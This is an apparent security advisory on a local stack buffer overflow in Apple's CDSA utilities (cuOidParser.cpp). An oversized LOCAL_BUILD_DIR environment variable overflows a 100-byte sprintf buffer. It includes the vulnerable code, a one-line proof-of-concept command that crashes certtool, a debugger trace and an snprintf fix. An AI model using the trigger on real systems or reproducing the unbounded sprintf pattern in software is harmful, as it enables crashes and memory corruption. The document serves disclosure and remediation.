Author: <github.com/tintinweb>, pinky
Ref: https://github.com/tintinweb/pub/tree/master/pocs/nocve-2017-macos-oidparser-certtool
Version: 0.2
Date: Oct 09th, 2016
Tag: certtool cuOidParser sprintf buffer overwrite
Name: Cryptographic services - libsecurity_cdsa_utils
Vendor: Apple Computer, Inc
References: [1]
Version: macOS (10.6)
Latest Version: -
Other Versions: <= 10.6 (at least). verified not affected >= 10.12
Platform(s): OS x, Linux
Technology: C++
Vuln Classes: CWE-120: Buffer Copy without Checking Size of Input
Origin: local
Min. Privs.: -
CVE:
* NOTE: Marked as Deprecated Technologies
/!\ This issue was silently fixed between 10.6 and 10.12
The CDSA utilities are part of the Cryptographic Services provided by Apple Computer Inc [4].
quote website [4]
CDSA is an Open Source security architecture adopted as a technical standard by the Open Group. Apple has developed its own Open Source implementation of CDSA, available as part of Darwin at Apple’s Open Source site. The core of CDSA is CSSM (Common Security Services Manager), a set of Open Source code modules that implement a public application programming interface called the CSSM API. CSSM provides APIs for cryptographic services (such as creation of cryptographic keys, encryption and decryption of data), certificate services (such as creation of digital certificates, reading and evaluation of digital certificates), secure storage of data, and other security services (see Apple CDSA Plug-ins for a more complete list).
The CDSA Util library as part of the cryptographic services provided by Apple
Computer Inc is missing a bounds-check for a stack buffer in ooidparser
when processing the
environment variable LOCAL_BUILD_DIR
.
In cuOidParser.cpp::readConfig
an environment variable CONFIG_FILE_ENV="LOCAL_BUILD_DIR"
is being read. This input is of arbitrary length but copied to a fixed 100 character array filename
.
By providing a value of more than 100 characters to that environment variable the stack buffer
filename
is overwritten and consequently the pointer to localBuildDir
on the stack.
This library is, for example, used in certtool [5] which is used for the
attached PoC.
Note: macOS 10.12 (or before) was silently patched to use asprintf
instead of sprintf
and is therefore not affected anymore
The vulnerable code is located in cuOidParser.cpp
[3] at line 127.
The function sprintf(dest, format, ...)
sends formatted output to the
string dest. As the formatted string is composite of localBuildDir
and CONFIG_FILE_NAME
the length of the destination can be exceeded.
Consequently dest is 'overwritten' if the formatted string does not fit.
121 char fileName[100];
122 char *localBuildDir = getenv(CONFIG_FILE_ENV);
123 if(localBuildDir == NULL) {
124 rtn = 1;
125 }
126 else {
127 sprintf(fileName, "%s/%s", localBuildDir, CONFIG_FILE_NAME);
128 rtn = readFileExtra(fileName, 1, &configData->Data,
129 &configData->Length);
130 }
The variable filename
is defined with a length of 100 characters as can
be seen in lines 121. The user tainted localBuildDir
read from the
environment variable CONFIG_FILE_EMV
(line 122) is used in line 127 and
creates the stack overflow.
Prerequisites:
- OS X with installed certtool
- any input certificate to display (.pem format)
-
Create a certificate, we use
lala.pem
-
Run
LOCAL_BUILD_DIR=$(python -c 'print "A"*300') certtool d lala.pem
to trigger the overflow.
Additionally
- Use a debugging tool like
lldb
to collect a stack trace by callingLOCAL_BUILD_DIR=$(python -c 'print "A"*300') lldb -- certtool d lala.pem
and run the code in lldb.
Exec:
brain1-1:~ pinky$ LOCAL_BUILD_DIR=$(python -c 'print "A"*300') lldb -- certtool d lala.pem
(lldb) target create "certtool"
Current executable set to 'certtool' (x86_64).
(lldb) settings set -- target.run-args "d" "lala.pem"
(lldb) run
Process 34489 launched: '/usr/bin/certtool' (x86_64)
Process 34489 stopped
* thread #1: tid = 0x211e05, 0x00007fff8e681866 libsystem_kernel.dylib`__pthread_kill + 10, queue = 'com.apple.main-thread', stop reason = signal SIGABRT
frame #0: 0x00007fff8e681866 libsystem_kernel.dylib`__pthread_kill + 10
libsystem_kernel.dylib`__pthread_kill + 10:
-> 0x7fff8e681866: jae 0x7fff8e681870 ; __pthread_kill + 20
0x7fff8e681868: movq %rax, %rdi
0x7fff8e68186b: jmp 0x7fff8e67e175 ; cerror_nocancel
0x7fff8e681870: retq
(lldb) bt all
* thread #1: tid = 0x211e05, 0x00007fff8e681866 libsystem_kernel.dylib`__pthread_kill + 10, queue = 'com.apple.main-thread', stop reason = signal SIGABRT
* frame #0: 0x00007fff8e681866 libsystem_kernel.dylib`__pthread_kill + 10
frame #1: 0x00007fff8741235c libsystem_pthread.dylib`pthread_kill + 92
frame #2: 0x00007fff89ae1bc6 libsystem_c.dylib`__abort + 145
frame #3: 0x00007fff89ae2479 libsystem_c.dylib`__stack_chk_fail + 196
frame #4: 0x0000000100006a34 certtool`___lldb_unnamed_function115$$certtool + 250
Limit the characters written by changing sprintf
for snprintf
with the size of the destination buffer (-1 for the \0
).
127 - sprintf(..,...)
127 + snprintf(filename, sizeof(filename)-1, "%s/%s", ...)
If LOCAL_BUILD_DIR=$(python -c 'print "A"*300') certtool d lala.pem
as in
step 2) of the PoC the program will abort with Abort trap: 6
, the binary is most likely compiled with the fortify_source
.
However, this might not be the case for third party applications using this library.
[1] https://developer.apple.com/library/content/documentation/Security/Conceptual/cryptoservices/CDSA/CDSA.html
[2] https://github.com/Apple-FOSS-Mirror/Security
[3] https://github.com/Apple-FOSS-Mirror/Security/tree/master/libsecurity_cdsa_utils
[4] https://developer.apple.com/library/prerelease/content/documentation/Security/Conceptual/cryptoservices/Introduction/Introduction.html
[5] https://github.com/Apple-FOSS-Mirror/Security/blob/7adf341b856468eac2593bbd8db85b19a785bc42/libsecurity_cdsa_utils/lib/cuOidParser.cpp
https://github.com/tintinweb